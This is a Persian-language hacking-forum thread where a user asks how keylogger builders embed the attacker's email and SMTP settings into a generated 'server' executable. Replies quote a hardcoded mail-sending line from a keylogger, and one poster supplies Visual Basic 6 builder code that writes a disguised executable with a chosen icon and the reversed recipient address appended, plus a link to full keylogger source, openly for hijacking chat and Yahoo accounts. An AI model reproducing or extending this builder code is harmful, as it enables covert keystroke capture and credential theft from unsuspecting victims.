--سوال در مورد ساخت سرور در ویژوال بیسیک --

[blackhacking21]

با سلام خدمت دوستان عزیز !
میخواستم ببینم در برنامه هایی همچون کیلاگر ها یا سندر ها که زمانی که برنامه رو اجرا می کنیم یک برنامه تحت عنوان کلاینت باز شده و بعد از وارد کردن اطلاعات همچون ایمیلی که قرار است اطلاعاتی به ان ارسال شود ، وظایف و ... کیلاگر برای ما یک سرور ساخته که از ان استفاده کنیم ! حالا من میخام بدونم این برنامه ها از چه شیوه ای برای ساخت سرور استفاده می کنن ؟ یعنی چطور میشه یک کار کرد که سرور با استفاده از اطلاعات وارد شده توسط یک کاربر ساخته شود ؟
هر چی گشتم جواب سوالمو پیدا نکردم ! اگه یکم مطلب در این مورد قرار بدید ممنون می شد
با تشکر

[Secret.Walker]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

این سورس کد رو امتحان کنید به نتیجه میرسید .

سرور شامل دریافت کننده اطلاعات میباشد یعنی در برنامه هایی مثل کیلاگر میتونه متن ها و دکمه های ارسالی رو با توجه به تعریف قبلی دریافت و ذخیره کند و به SMTP که تنظیم شده ارسال کند .

لینک سورس

[blackhacking21]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

درود
دوست عزیز من این رو خیلی وقت پیش ها دانلود کردم و حتی اجرا ...
اما این کیلاگر زمانی که بخای ایمیلتو وارد کنی باید در قسمت کد نویسی وارد کنی send = mdlMail.SendMail(“[email protected]”, “iranhack keylogger”, “[email protected]”, Text1.Text, “iranhack.com”, “”)
send = mdlMail.SendMail(“[email protected]”, “iranhack keylogger”, “[email protected]”, Text1.Text, “iranhack.com”, “”)

اما من میخام طوری باشه که همچون برانامه هایی مثل ( یاهو اسپای ، مجیک پی اس و... ) کاربر بتونه ایمیل رو در بخش کلاینت وارد کنه و سرور رو تحویل بگیره !
یعنی میخام اطلاعات متغیر همچون ایمیل و smtp توسط کاربر تعیین بشه ! در نهایت یک سرور با توجه به ایمیل و smtp به کاربر تحویل داده باشه ! امید وارم منظورم رو رسونده باشم
با تشکر

[rap0661]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

سلام این که کاری نداره تو همونطور که میبینی Text1.Text, “iranhack.com خوب عزیز دلم تکس رو بده کاربر پر کنه که به جای iranhack.com میتونه هرچیزی بزاری وسلام

از این واضع تر نیست و نبود که بگم

[blackhacking21]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

دوست عزیز ! اگه اینطوری بود که تا الان انجام داده بودم ! اینی که شما میگی تکست بزارم که توی برنامه ذخیره نمیشه ! بعد این اطلاعات باید کامپایل بشه و درون سرور قرار بگیره !

[rap0661]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

برادر من الان مشکلت کجاست مگه نمیکی با send = mdlMail.SendMail(“[email protected]”, “iranhack keylogger”, “[email protected]”, Text1.Text, “iranhack.com”, “”)
send = mdlMail.SendMail(“[email protected]”, “iranhack keylogger”, “[email protected]”, Text1.Text, “iranhack.com”, “”) مشکل داری؟؟؟؟؟؟؟؟؟

خوب عزیزم برادر من میگم این مکانرو تغییر بده

یه متغییر بزار که [email protected] رو از تو بگیره نه تو فایل یعنی یه تکس بزار بعد بنویس بالاش که مثلا ایمیل :
بعد اون تکس رو ربط بده به این قسمت وسلام
دیگه والا نمیدونم چطور بگم و واضع تر از این

[blackhacking21]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

درود ...
عزیز میدونم که این دوتا رو باید با هم ربط بدی که یک ایمیل از یه تکست بگیره و تو سرور ذخیره کنه !
اگه بلد بودم این کارو انجام بدم که دیگه این تاپیکو ایجاد نمی کردم !
اگه شما بلدی یک نمونه ی خیلی ساده بزار تا مشکلم حل بشه
تشــــــــــــــــــــــــــکر

[Mr.XpR]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

نه سوال خودتونو خوب مطرح میکنید و طلب هم دارید ، مدیران اینجا هم بیکار نیستند زمان برای کیلاگر بگذارند تا از اون برای هک کردن چت روم و یاهو ای دی استفاده کنی بلک جان ما یک سورس کد قرار دادیم و گفتیم آپدیت با شما برین تحقیق کنید تا خودتون آموزش ببینید ما که وظیفه تعلیم خصوصی شما رو به عهده نداریم . یکمم خودتون زحمت بکشید . :24: . سورس کد زیر نمونه ای کامل از کیلاگر بصورت سرور و کلاینت میباشد که می توانید خروجی ExE از سرور بگیرید .

علاوه بر این امکان اضافه کردن آیکون ، میزان حجم ، پسوند ، نام و تست ایمیل هم در این سورس فراهم میباشد .

برای ایجاد Edit Server با توجه به نیاز میتونید از کد زیر استفاده کنید :

[align=left]

Private Sub make_Click()
On Error GoTo errh:
If eml = "" Then MsgBox "Fill The E-mail Field.", vbCritical, "Error": Exit Sub
If size.Text = "" Then MsgBox "Fill The Size Of Log.", vbCritical, "Error": Exit Sub
If (i7.Value = True) And (pi7.Text = "") Then MsgBox "Select a Icon For Server", vbCritical, "Error": Exit Sub
If srv.Text = "" Then MsgBox "Fill Sharp KeyLog Name Field.", vbCritical, "Error": Exit Sub
eml.Text = Replace(eml.Text, "$#$~", "")
ft.Text = Replace(ft.Text, "$#$~", "")
fm.Text = Replace(fm.Text, "$#$~", "")
Dim crpath As String
Dim appt As String
crpath = Left(App.path, 1) & ":\tmp.ico"
res_ET
If i1.Value = True Then re 1, "CUSTOM", crpath
If i2.Value = True Then re 2, "CUSTOM", crpath
If i4.Value = True Then re 4, "CUSTOM", crpath
If i5.Value = True Then re 5, "CUSTOM", crpath
If i6.Value = True Then re 6, "CUSTOM", crpath
If i8.Value = True Then re 8, "CUSTOM", crpath
If i9.Value = True Then re 9, "CUSTOM", crpath
If i10.Value = True Then re 10, "CUSTOM", crpath
If i11.Value = True Then re 11, "CUSTOM", crpath
If i12.Value = True Then re 12, "CUSTOM", crpath
If i14.Value = True Then re 14, "CUSTOM", crpath
If i15.Value = True Then re 15, "CUSTOM", crpath
If i16.Value = True Then re 16, "CUSTOM", crpath
If i17.Value = True Then re 17, "CUSTOM", crpath
If i18.Value = True Then re 18, "CUSTOM", crpath
If i7.Value = True Then FileCopy pi7.Text, crpath

appt = Left(App.path, 1) & ":\vir.exe"

Open appt For Output As #12
Close #12

re 7, "CUSTOM", appt
ri.Replace appt, crpath, "Icon"
'___________________________________________________________________
Dim OptionDlimiter$
OptionDlimiter$ = "-" & Chr$(12)

Open appt For Append As #2
Print #2, OptionDlimiter & "0$#$~" & StrReverse(eml.Text) & "$#$~" & size.Text & "$#$~" & ft.Text & "$#$~" & fm.Text
Close #2
'___________________________________________________________________
FileCopy appt, App.path & "\" & srv.Text
res_ET
MsgBox "Sender Created Succesfully !!!", vbInformation, "Sharp Keylogger"
If i7.Value = True Then
If FileLen(App.path & "\" & srv.Text) > 200000 Then MsgBox "Your Server Size is : " & FileLen(App.path & "\" & srv.Text) & " Bytes." & vbCrLf & "Your Server size is Up to 200 KB and it isn't normaly to use it for Sendig via Dialup-Modems." & vbCrLf & "You Can Select Setup Icon For Your Server to change your server size to 68 KB :D", vbExclamation, "Your Server Created Successfully and Work 100%"
End If
Exit Sub
errh:
MsgBox "Error Message : " & vbCrLf & Err.Description, vbCritical + vbMsgBoxSetForeground, "Error ..."
Close #1
Close #2
Close #12
res_ET
End Sub

[/align]

دانلود سورس شارپ کیلاگر

تاپیک قفل

[HACKER OF FLOOD]

RE: --سوال در مورد ساخت سرور در ویژوال بیسیک --

سوالات در تاپیک زیر پرسیده شود

>>تاپیک جامع سوال و جواب های ویژوال بیسیک 6 <<

در صورت تکرار بن خواهید شد .